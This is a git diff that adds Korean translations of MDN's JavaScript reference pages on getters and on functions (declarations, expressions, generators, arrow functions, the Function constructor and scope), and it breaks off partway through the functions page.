diff --git a/files/ko/web/javascript/reference/functions/get/index.html b/files/ko/web/javascript/reference/functions/get/index.html
new file mode 100644
index 0000000000..fb64206dff
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/get/index.html
@@ -0,0 +1,179 @@
+---
+title: getter
+slug: Web/JavaScript/Reference/Functions/get
+tags:
+  - 자바스크립트
+  - 함수
+translation_of: Web/JavaScript/Reference/Functions/get
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong><code>get</code></strong> 구문은 객체의 프로퍼티를 그 프로퍼티를 가져올 때 호출되는 함수로 바인딩합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-getter.html")}}</p>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{get <em>prop</em>() { ... } } {get <em>[expression]</em>() { ... } }</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>주어진 함수를 바인딩할 프로퍼티의 이름입니다.</dd>
+ <dt>expression</dt>
+ <dd>ECMAScript 2015가 도입되면서, 함수의 이름을 계산하기 위해 표현식을 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>어떤 프로퍼티에 접근할 때마다 그 값을 계산하도록 해야 하거나, 내부 변수의 상태를 명시적인 함수 호출 없이 보여주고 싶을 때, JavaScript의 <em>getter</em>를 이용할 수 있습니다. getter가 바인딩된 프로퍼티는 동시에 실제 값을 가질 수는 없지만, getter와 setter를 동시에 바인딩해 일종의 유사 프로퍼티(pseudo-property)를 만들 수는 있습니다.</p>
+
+<p><code>get</code> 구문을 이용할 때는 다음을 유의하세요.</p>
+
+<div>
+<ul>
+ <li>숫자나 문자열로 구성된 식별자를 이용할 수 있습니다.</li>
+ <li>getter는 절대로 매개변수를 가져서는 안 됩니다. (<a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Incompatible <abbr title="ECMAScript 5th edition">ES5</abbr> change: literal getter and setter functions must now have exactly zero or one arguments</a> 를 참조하세요.)</li>
+ <li>하나의 객체 리터럴에 또다른 getter나 데이터 바인딩은 불가능합니다. (<code>{ get x() { }, get x() { } }</code> 나 <code>{ x: ..., get x() { } }</code> 는 사용할 수 없습니다.)</li>
+</ul>
+</div>
+
+<p>getter는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/delete_Operator">delete</a></code> 연산자를 이용해 삭제할 수 있습니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="getter를_객체_초기자에서_정의하기">getter를 객체 초기자에서 정의하기</h3>
+
+<p>객체 <code>obj</code>에 유사 프로퍼티 <code>latest</code>를 생성합니다. <code>latest</code>는 배열 <code>log</code>의 마지막 요소를 반환합니다.</p>
+
+<pre><code>var obj = {
+  log: ['example','test'],
+  get latest() {
+    if (this.log.length == 0) return undefined;
+    return this.log[this.log.length - 1];
+  }
+}
+console.log(obj.latest); // "test".</code></pre>
+
+<p><code>latest</code>에 어떤 값을 할당하려고 시도해도 그 값이 바뀌지 않는다는 점을 유의하세요.</p>
+
+<h3 id="delete연산자를_이용해_getter_삭제하기"><code>delete</code>연산자를 이용해 getter 삭제하기</h3>
+
+<p>getter를 삭제하고 싶다면, <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code>를 이용하면 됩니다.</p>
+
+<pre class="brush: js">delete obj.latest;
+</pre>
+
+<h3 id="defineProperty를_이용해_이미_존재하는_객체에_getter_정의하기"><code>defineProperty</code>를 이용해 이미 존재하는 객체에 getter 정의하기</h3>
+
+<p>이미 존재하는 객체에 getter를 추가하고자 한다면, {{jsxref("Object.defineProperty()")}}를 이용하면 됩니다.</p>
+
+<pre class="brush: js">var o = { a:0 }
+
+Object.defineProperty(o, "b", { get: function () { return this.a + 1; } });
+
+console.log(o.b) // getter를 실행합니다. a + 1 (= 1)이 반환됩니다.</pre>
+
+<h3 id="계산된_(computed)_프로퍼티_이름">계산된 (computed) 프로퍼티 이름</h3>
+
+<pre class="brush: js">var expr = "foo";
+
+var obj = {
+  get [expr]() { return "bar"; }
+};
+
+console.log(obj.foo); // "bar"</pre>
+
+<h3 id="똑똑한(Smart)_스스로_덮어쓰는(self-overwriting)_느긋한(lazy)_getter">똑똑한(Smart) / 스스로 덮어쓰는(self-overwriting) / 느긋한(lazy) getter</h3>
+
+<p>Getter는 객체에 프로퍼티를 정의할 수 있도록 하지만, 그 프로퍼티에 접근하기 전까지는 값을 계산하지 않습니다. getter는 값을 계산하는 비용을 실제 값이 필요할 때까지 미루며, 그 값이 필요없다면 계산 비용도 들지 않습니다.</p>
+
+<p>또다른 최적화 기법으로는 계산 미루기와 함께 프로퍼티 값을 나중에 접근하기 위해 캐싱하는 것이 있습니다. 이를<strong> 똑똑한(smart), 혹은 메모화된(<a href="https://en.wikipedia.org/wiki/Memoization">memoized</a>) getter</strong>라고 부릅니다. 값은 getter가 호출될 때 처음 계산되며, 캐싱됩니다. 이후의 호출에는 다시 계산하지 않고 이 캐시값을 반환합니다. 이는 다음과 같은 상황에 유용합니다.</p>
+
+<ul>
+ <li>값의 계산 비용이 큰 경우. (RAM이나 CPU 시간을 많이 소모하거나, worker thread를 생성하거나, 원격 파일을 불러오는 등)</li>
+ <li>값이 당장은 필요하지 않지만 나중에 사용되어야 할 경우, 혹은 절대로 이용되지 않을 수도 있는 경우.</li>
+ <li>값이 여러 차례 이용되지만 절대 변경되지 않아 매번 다시 계산할 필요가 없는 경우, 혹은 다시 계산되어서는 안 되는 경우.</li>
+</ul>
+
+<p>똑똑한 getter는 값을 다시 계산하지 않기 때문에, 값의 변경이 예상되는 경우에는 똑똑한 getter를 이용해서는 안 됩니다.</p>
+
+<p>다음 예제에서, 객체는 원래 프로퍼티로 getter를 가집니다. 프로퍼티를 가져올 때, getter는 삭제되며 대신 명시적인 값이 저장됩니다. 최종적으로 값을 반환합니다.</p>
+
+<pre class="brush: js">get notifier() {
+  delete this.notifier;
+  return this.notifier = document.getElementById("bookmarked-notification-anchor");
+},</pre>
+
+<p>Firefox 코드의 경우,  <code><a href="/en-US/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyGetter()">defineLazyGetter()</a></code> 함수를 정의하고 있는 XPCOMUtils.jsm 모듈을 참조하세요.</p>
+
+<h3 id="get_Vs._defineProperty"><code>get</code> Vs. <code>defineProperty</code></h3>
+
+<p>While using the <code>get</code> 키워드와 {{jsxref("Object.defineProperty()")}}를 사용하면 비슷한 결과를 얻지만, {{jsxref("classes")}}에서 사용되는 두 가지 경우에는 미묘한 차이가 있습니다.</p>
+
+<p>get을 사용할 때 속성은 {{jsxref("Object.defineProperty()")}} 를 사용하는 동안 객체의 프로토 타입에 정의 될 것이고, 속성은 그것이 적용되는 인스턴스에 정의 될 것입니다.</p>
+
+<pre class="brush: js"><code>class Example {
+  get hello() {
+    return 'world';
+  }
+}
+
+const obj = new Example();
+console.log(obj.hello);
+// "world"
+console.log(Object.getOwnPropertyDescriptor(obj, 'hello'));
+// undefined
+console.log(Object.getOwnPropertyDescriptor(Object.getPrototypeOf(obj), 'hello'));
+// { configurable: true, enumerable: false, get: function get hello() { return 'world'; }, set: undefined }</code></pre>
+
+<p> </p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>최초로 정의되었습니다.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>계산된 프로퍼티 이름이 추가되었습니다.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.functions.get")}}</p>
+
+<p> </p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> in JavaScript Guide</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/index.html b/files/ko/web/javascript/reference/functions/index.html
new file mode 100644
index 0000000000..2052b67a93
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/index.html
@@ -0,0 +1,596 @@
+---
+title: 함수
+slug: Web/JavaScript/Reference/Functions
+tags:
+  - 생성자
+  - 인자
+  - 파라미터
+  - 함수
+translation_of: Web/JavaScript/Reference/Functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>일반적으로, 함수는 함수 외부 (또는 재귀(recursion)의 경우엔 내부) 코드에 의해 <em>호출될</em> 수 있는 "하위프로그램"입니다. 프로그램 그 자체처럼, 함수는 함수 몸통(<em>function body</em>)이라고 하는 일련의 구문(statement)으로 구성됩니다. 값은 함수에 <em>전달될</em> 수 있고 함수는 값을 <em>반환</em>합니다.</p>
+
+<p>JavaScript에서, 함수는 다른 객체처럼 속성 및 메서드를 가질 수 있기에 일급(first-class) 객체입니다. 다른 객체와 함수를 구별하는 것은 함수는 호출될 수 있다는 것입니다. 간단히 말해, 함수는 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function">Function</a></code> 객체입니다.</p>
+
+<p>더 많은 예제와 설명은, <a href="/ko/docs/Web/JavaScript/Guide/함수" title="JavaScript guide about functions">JavaScript 함수 안내서</a>를 참조하세요.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>JavaScript에서 모든 함수는 <code>Function</code> 객체입니다. <code>Function</code> 객체의 속성(property) 및 메서드에 관한 정보는 {{jsxref("Function")}} 참조.</p>
+
+<p>기본값 이외의 값을 반환하려면, 함수는 반환할 값을 지정하는 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/return">return</a></code> 문이 있어야 합니다. return 문이 없는 함수는 기본값을 반환합니다. <code><a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new</a></code> 키워드로 호출되는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">생성자</a>의 경우에, 기본값은 자신의 <code>this</code> 매개변수 값입니다. 다른 모든 함수의 경우, 기본 반환값은 {{jsxref("undefined")}}입니다.</p>
+
+<p>함수 호출의 매개변수는 함수의 <em>인수</em>입니다. 인수는 함수에 <em>값으로</em> 전달됩니다. 함수가 인수값을 바꾸면, 이 변화는 전역 또는 호출한 함수에 반영되지 않습니다. 그러나, 객체 참조(reference)는 값이지만 특별합니다: 함수가 참조된 객체의 속성을 바꾸면, 그 변화는 다음 예에서와 같이 함수 밖에서도 바뀌는 것을 볼 수 있습니다:</p>
+
+<pre class="brush: js">/* 함수 'myFunc' 선언 */
+function myFunc(theObject) {
+   theObject.brand = "Toyota";
+ }
+
+ /*
+  * 변수 'mycar' 선언;
+  * 새 객체를 만들고 초기화;
+  * 'mycar'에 객체 참조를 할당
+  */
+ var mycar = {
+   brand: "Honda",
+   model: "Accord",
+   year: 1998
+ };
+
+ /* Logs 'Honda' */
+ console.log(mycar.brand);
+
+ /* 객체 참조를 함수에 전달 */
+ myFunc(mycar);
+
+ /*
+  * 함수에 의해 바뀌었기에 객체의
+  * 'brand' 속성의 값으로 'Toyota' 출력.
+  */
+ console.log(mycar.brand);
+</pre>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/this"><code>this</code> 키워드</a>는 현재 실행 중인 함수를 참조하지 않습니다, 그래서 심지어 함수 몸통 내에서도 이름으로 <code>Function</code> 객체를 참조해야 합니다.</p>
+
+<h2 id="함수_정의하기">함수 정의하기</h2>
+
+<p>함수를 정의하는 여러 방법이 있습니다:</p>
+
+<h3 id="함수_선언_function_문">함수 선언 (<code>function</code> 문)</h3>
+
+<p>함수 선언을 위한 특별한 구문이 있습니다 (자세한 사항은 <a href="/ko/docs/Web/JavaScript/Reference/Statements/function" title="function statement">function 문</a> 참조):</p>
+
+<pre class="brush: js">function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에 전달되는 인수의 이름. 함수는 255개까지 인수를 가질 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>함수의 몸통을 구성하는 문.</dd>
+</dl>
+
+<h3 id="함수_표현식_function_식">함수 표현식 (<code>function</code> 식)</h3>
+
+<p>함수 식(expression)은 함수 선언과 비슷하고 구문이 같습니다 (자세한 사항은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/function" title="function expression">function 식</a> 참조):</p>
+
+<p>함수 표현식(expression)은 함수 선언과 비슷하고 구문이 같습니다 (자세한 내용은 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> 참조). 함수 표현식은 더 큰 표현식의 일부일 수 있습니다. "이름이 붙은(named)"함수 표현식 (예 : 호출 스택에서 표현식 이름 사용하는경우) 또는 "익명"함수 표현식을 정의 할 수 있습니다. 함수 표현식은 선언이 되지 않은 상태에서 사용할 수 없기 때문에 함수를 사용하기 전에 코드에 함수코드가 존제해야 사용 할 수 있습니다.</p>
+
+<pre class="brush: js">function [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름. 함수가 익명(anonymous) 함수로 알려진 경우, 생략될 수 있음.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에 전달되는 인수의 이름. 함수는 255개까지 인수를 가질 수 있습니다.</dd>
+ <dt><code>statements</code></dt>
+ <dd>함수의 몸통을 구성하는 문.</dd>
+</dl>
+
+<p>다음은 익명 함수 표현식의 예입니다 (<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">이름</span></font> 이 사용되지 않음):</p>
+
+<pre class="brush: js"><code>var myFunction = function() {
+    statements
+}</code></pre>
+
+<p>It is also possible to provide a name inside the definition in order to create a <strong>named</strong> function expression:</p>
+
+<pre class="brush: js"><code>var myFunction = function namedFunction(){
+    statements
+}</code></pre>
+
+<p>One of the benefits of creating a named function expression is that in case we encountered an error, the stack trace will contain the name of the function, making it easier to find the origin of the error.</p>
+
+<p>As we can see, both examples do not start with the <code>function</code> keyword. Statements involving functions which do not start with <code>function</code> are function expressions.</p>
+
+<p>When functions are used only once, a common pattern is an <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IIFE (Immediately Invokable Function Expression)</a>.</p>
+
+<pre class="brush: js"><code>(function() {
+    statements
+})();</code></pre>
+
+<p>IIFE are function expressions that are invoked as soon as the function is declared.</p>
+
+<h3 id="생성기_함수_선언_function*_문">생성기 함수 선언 (<code>function*</code> 문)</h3>
+
+<p>생성기 함수 선언을 위한 특별한 구문이 있습니다 (자세한 사항은 {{jsxref('Statements/function*', 'function* statement')}} 참조):</p>
+
+<pre class="brush: js">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에 전달되는 인수의 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>함수의 몸통을 구성하는 문.</dd>
+</dl>
+
+<h3 id="생성기_함수_식_function*_식">생성기 함수 식 (<code>function*</code> 식)</h3>
+
+<p>생성기 함수 식은 생성기 함수 선언과 비슷하고 구문이 같습니다 (자세한 사항은 {{jsxref('Operators/function*', 'function* expression')}} 참조):</p>
+
+<pre class="brush: js">function* [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름. 함수가 익명 함수인 경우 생략될 수 있음.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에 전달되는 인수의 이름.</dd>
+ <dt><code>statements</code></dt>
+ <dd>함수의 몸통을 구성하는 문.</dd>
+</dl>
+
+<h3 id="화살표_함수_표현식_>">화살표 함수 표현식 (=&gt;)</h3>
+
+<p>화살표 함수 식은 구문이 더 짧고 어휘상(lexically) <code>this</code> 값을 바인딩합니다 (자세한 사항은 <a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션" title="arrow functions">화살표 함수</a> 참조):</p>
+
+<pre class="brush: js">([param[, param]]) =&gt; {
+   statements
+}
+
+param =&gt; expression
+</pre>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>인수의 이름. 0개 인수는 <code>()</code>로 표시돼야 합니다. 인수가 1개뿐이면, 괄호는 필요치 않습니다. (<code>foo =&gt; 1</code>처럼)</dd>
+ <dt><code>statements or expression</code></dt>
+ <dd>선언문이 여러개인 경우 괄호로 묶여야 합니다. 단일 식(expression)은 괄호가 필요 없습니다. 그리고 식은 암시적으로(implicit) 함수의 반환값이 됩니다.</dd>
+</dl>
+
+<h3 id="Function_constructor"><code>Function</code> constructor</h3>
+
+<div class="note">
+<p><strong>참고</strong> : <code>Function</code> constructor를 사용하여 함수를 만드는 것은 권장되지 않습니다. 함수 본문을 일부 JS 엔진 최적화를 방해 할 수있는 문자열로 사용해야하고 다른 문제를 유발할 수 있기 때문입니다.</p>
+</div>
+
+<p>다른 모든 객체처럼, {{jsxref("Function")}} 객체는 <code>new</code> 연산자를 사용하여 생성될 수 있습니다:</p>
+
+<pre class="brush: js">new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>형식 매개변수로 함수에 의해 사용되는 0개 이상의 이름. 각각은 알맞은 JavaScript 식별자(identifier)여야 합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>functionBody</code></dt>
+ <dd>함수 몸통을 구성하는 JavaScript 문을 포함하는 문자열.</dd>
+</dl>
+
+<p>함수로 <code>Function</code> 생성자 호출(<code>new</code> 연산자 사용 없이)하는 것은 생성자로 호출하는 것과 같습니다.</p>
+
+<h3 id="GeneratorFunction_생성자"><code>GeneratorFunction</code> 생성자</h3>
+
+<div class="note">
+<p><strong>주의:</strong> <code>GeneratorFunction</code>은 전역 객체가 아니지만 생성기 함수 인스턴스로부터 얻을 수 있습니다(자세한 사항은 {{jsxref("GeneratorFunction")}} 참조).</p>
+</div>
+
+<div class="note">
+<p><strong>주의:</strong> <code>GeneratorFunction</code> 생성자를 사용하여 함수를 만드는 것은 권장되지 않습니다. 함수 본문을 일부 JS 엔진 최적화를 방해 할 수있는 문자열로 사용해야하고 다른 문제를 유발할 수 있기 때문입니다.</p>
+</div>
+
+<p>다른 모든 객체처럼, {{jsxref("GeneratorFunction")}} 객체는 <code>new</code> 연산자를 사용하여 생성될 수 있습니다:</p>
+
+<pre class="brush: js">new GeneratorFunction (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>형식 인수명으로 함수에 의해 사용되는 0개 이상의 이름. 각각은 유효한 JavaScript 식별자 규칙을 따르는 문자열 또는 콤마로 구분된 그러한 문자열 목록이어야 합니다; 예를 들어 "<code>x</code>", "<code>theValue</code>" 또는 "<code>a,b</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>functionBody</code></dt>
+ <dd>함수 정의를 구성하는 JavaScript 문을 포함하는 문자열.</dd>
+</dl>
+
+<p>함수로서 <code>Function</code> 생성자 호출(<code>new</code> 연산자 사용 없이)은 생성자로서 호출하는 것과 같은 효과입니다.</p>
+
+<h2 id="Function_매개변수">Function 매개변수</h2>
+
+<h3 id="기본_매개변수">기본 매개변수</h3>
+
+<p>기본(default) 함수 매개변수는 전달된 값이 없거나 <code>undefined</code>인 경우 기본값으로 초기화되는 형식 매개변수를 허용합니다. 자세한 사항은, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="default parameters">기본 매개변수</a> 참조.</p>
+
+<h3 id="나머지_매개변수">나머지 매개변수</h3>
+
+<p>나머지(rest) 매개변수 구문은 부정(indefinite)수인 인수를 배열로 나타내는 것을 허용합니다. 자세한 사항은, <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="rest parameters">나머지 매개변수</a> 참조.</p>
+
+<h2 id="arguments_객체"><code>arguments</code> 객체</h2>
+
+<p><code>arguments</code> 객체를 사용하여 함수 내에서 함수의 인수를 참조할 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a> 참조.</p>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code>: 현재 실행 중인 함수에 전달된 인수를 포함하는 배열 같은 객체.</li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code> {{Deprecated_inline}} : 현재 실행 중인 함수.</li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/caller">arguments.caller</a></code> {{Obsolete_inline}} : 현재 실행 중인 함수를 호출한 함수.</li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/length">arguments.length</a></code>: 함수에 전달된 인수의 수.</li>
+</ul>
+
+<h2 id="메서드_함수_정의하기">메서드 함수 정의하기</h2>
+
+<h3 id="getter_및_setter_함수">getter 및 setter 함수</h3>
+
+<p>모든 표준 내장 객체 또는 새로운 속성 추가를 지원하는 사용자 정의 객체에 getter(accessor 메서드) 및 setter(mutator 메서드)를 정의할 수 있습니다. getter 및 setter를 정의하는 구문은 객체 리터럴 구문을 사용합니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Functions/get">get</a></dt>
+ <dd>
+ <p>객체 속성을 그 속성이 검색되는 경우 호출되는 함수에 바인딩합니다.</p>
+ </dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Functions/set">set</a></dt>
+ <dd>객체 속성을 그 속성을 설정하려는 시도가 있는 경우 호출되는 함수에 바인딩합니다.</dd>
+</dl>
+
+<h3 id="메서드_정의_구문">메서드 정의 구문</h3>
+
+<p>ECMAScript 2015를 시작으로, getter 및 setter와 비슷한 단축 구문으로 자신의 메서드를 정의할 수 있습니다. 더 자세한 정보는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/Method_definitions">메서드 정의</a> 참조.</p>
+
+<pre class="brush: js">var obj = {
+  foo() {},
+  bar() {}
+};</pre>
+
+<h2 id="생성자_vs._선언문_vs._표현식">생성자 vs. 선언문 vs. 표현식</h2>
+
+<p>다음을 비교해보세요:</p>
+
+<p><code>Function</code> <em>constructor로 정의된 함수를 </em>변수<code>multiply</code>에 할당.</p>
+
+<pre class="brush: js"><code>var multiply = new Function('x', 'y', 'return x * y');</code></pre>
+
+<p>이름이 <code>multiply</code>인 함수 선언:</p>
+
+<pre class="brush: js">function multiply(x, y) {
+   return x * y;
+}
+</pre>
+
+<p>변수 <code>multiply</code>에 할당된 익명(anonymous) 함수의 <em>function 식</em>:</p>
+
+<pre class="brush: js">var multiply = function(x, y) {
+   return x * y;
+};
+</pre>
+
+<p>변수 <code>multiply</code>에 할당된 이름이 <code>func_name</code>인 함수의 <em>function 식</em>:</p>
+
+<pre class="brush: js">var multiply = function func_name(x, y) {
+   return x * y;
+};
+</pre>
+
+<h3 id="차이">차이</h3>
+
+<p>모두 거의 같은 일을 하지만 약간 미묘한 차이가 있습니다:</p>
+
+<p>함수 이름과 함수가 할당 된 변수 사이에는 차이가 있습니다. 함수 이름을 변경할 수 없으며 함수가 할당 된 변수는 다시 할당 할 수 있습니다. 함수 이름은 함수 본문(body)내에서만 사용할 수 있습니다. 함수 본문(body) 외부에서 사용하려고 하면 오류가 발생합니다. (함수 이름이 <code>var</code> 문을 통해 이전에 선언 된 경우에는 정의되지 않습(<code>undefined</code>)니다.</p>
+
+<p>예를 들어:</p>
+
+<pre class="brush: js">var y = function x() {};
+alert(x); // 오류 발생
+</pre>
+
+<p>함수 이름은 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/toString"><code>Function</code>의 toString 메서드</a>를 통해 직렬화되는 경우에도 보입니다.</p>
+
+<p>반면에 함수가 할당 된 변수는 함수의 범위(scope)가 포함되도록 보장 된 범위로만 제한됩니다.</p>
+
+<p>예제 4에서 볼 수 있듯이 함수 이름은 함수가 할당 된 변수와 다를 수 있습니다. 그들은 서로에게 아무런 관련이 없습니다. 함수 선언은 함수 이름과 동일한 이름의 변수도 만듭니다. 따라서 함수 표현식으로 정의 된 함수와 달리 함수 선언으로 정의 된 함수는 정의 된 범위에서 함수 선언의 이름으로 액세스 할 수 있습니다.</p>
+
+<p>'<code>new Function</code>'으로 정의된 함수는 함수 이름이 없습니다. 그러나, <a href="/ko/docs/SpiderMonkey">SpiderMonkey</a> JavaScript 엔진에서는, 함수의 직렬화된 형태가 마치 그 이름이 "anonymous"인 것처럼 보입니다. 예를 들어, <code>alert(new Function())</code>은 다음을 출력합니다:</p>
+
+<pre class="brush: js">function anonymous() {
+}
+</pre>
+
+<p>함수가 실제로는 이름이 없기에, <code>anonymous</code>는 함수 내에서 액세스될 수 있는 변수가 아닙니다.</p>
+
+<p>다음 코드는 오류가 날 것입니다:</p>
+
+<pre class="brush: js">var foo = new Function("alert(anonymous);");
+foo();
+</pre>
+
+<p>function 식 또는 <code>Function</code> 생성자에 의해 정의된 함수와는 달리, function 선언으로 정의된 함수는 function 자체의 선언 전에 사용될 수 있습니다. 예를 들어:</p>
+
+<pre class="brush: js">foo(); // alerts FOO!
+function foo() {
+   alert('FOO!');
+}
+</pre>
+
+<p>함수 표현식(function expression)이나 함수 선언(function declaration)에 의해 정의 된 함수는 현재 범위를 상속합니다. 즉,이 함수는 클로저를 형성합니다. 반면에 <code>Function</code> 생성자가 정의한 함수는 전역 범위 (모든 함수가 상속) 이외의 다른 범위를 상속하지 않습니다.</p>
+
+<pre class="brush: js"><code>/*
+ * Declare and initialize a variable 'p' (global)
+ * and a function 'myFunc' (to change the scope) inside which
+ * declare a varible with same name 'p' (current) and
+ * define three functions using three different ways:-
+ *     1. function declaration
+ *     2. function expression
+ *     3. function constructor
+ * each of which will log 'p'
+ */
+var p = 5;
+function myFunc() {
+    var p = 9;
+
+    function decl() {
+        console.log(p);
+    }
+    var expr = function() {
+        console.log(p);
+    };
+    var cons = new Function('\tconsole.log(p);');
+
+    decl();
+    expr();
+    cons();
+}
+myFunc();
+
+/*
+ * Logs:-
+ * 9  - for 'decl' by function declaration (current scope)
+ * 9  - for 'expr' by function expression (current scope)
+ * 5  - for 'cons' by Function constructor (global scope)
+ */</code></pre>
+
+<p>function 식 및 function 선언에 의해 정의된 함수는 한 번만 구문 분석됩니다, 반면에 <code>Function</code> 생성자에 의해 정의된 함수는 아닙니다. 즉, <code>Function</code> 생성자에 전달된 함수 몸통 문자열은 생성자가 호출될 때마다 구문 분석되어야 합니다. function 식이 매번 closure를 만들더라도, 함수 몸통은 다시 구문 분석되지 않습니다, 그래서 function 식은 "<code>new Function(...)</code>"보다 여전히 더 빠릅니다. 따라서 <code>Function</code> 생성자는 보통 가능한 한 피해야 합니다.</p>
+
+<p>함수 식과 함수 선언으로 정의 된 함수는 한 번만 구문 분석되지만 <code>Function</code> 생성자로 정의 된 함수는 구문 분석되지 않습니다. 즉, <code>Function</code> 생성자에 전달 된 함수 본문 문자열은 생성자가 호출 될 때마다 파싱되어야합니다. 함수식이 매번 클로저(closure)를 만들지만 함수 본문은 다시 파싱되지 않으므로 함수 식은 여전히 ​​"<code>new Function (...)</code>"보다 빠릅니다. 따라서 <code>Function</code> 생성자는 가능한 피하는 것이 좋습니다.</p>
+
+<p>그러나 <code>Function constructor</code>의 문자열을 구문 분석하여 생성된 함수 내에 중첩된 function 식 및 function 선언은 반복해서 구문 분석되지 않음에 주의해야 합니다. 예를 들면:</p>
+
+<pre class="brush: js">var foo = (new Function("var bar = \'FOO!\';\nreturn(function() {\n\talert(bar);\n});"))();
+foo(); // 함수 몸통 문자열의 "function() {\n\talert(bar);\n}" 부분은 다시 구문 분석되지 않습니다.</pre>
+
+<p>function 선언은 매우 쉽게 (그리고 종종 무심코) function 식으로 바뀝니다. function 선언은 다음 어느 쪽이든 function 식이 되는 것을 중단합니다:</p>
+
+<ul>
+ <li>식의 일부가 된 경우</li>
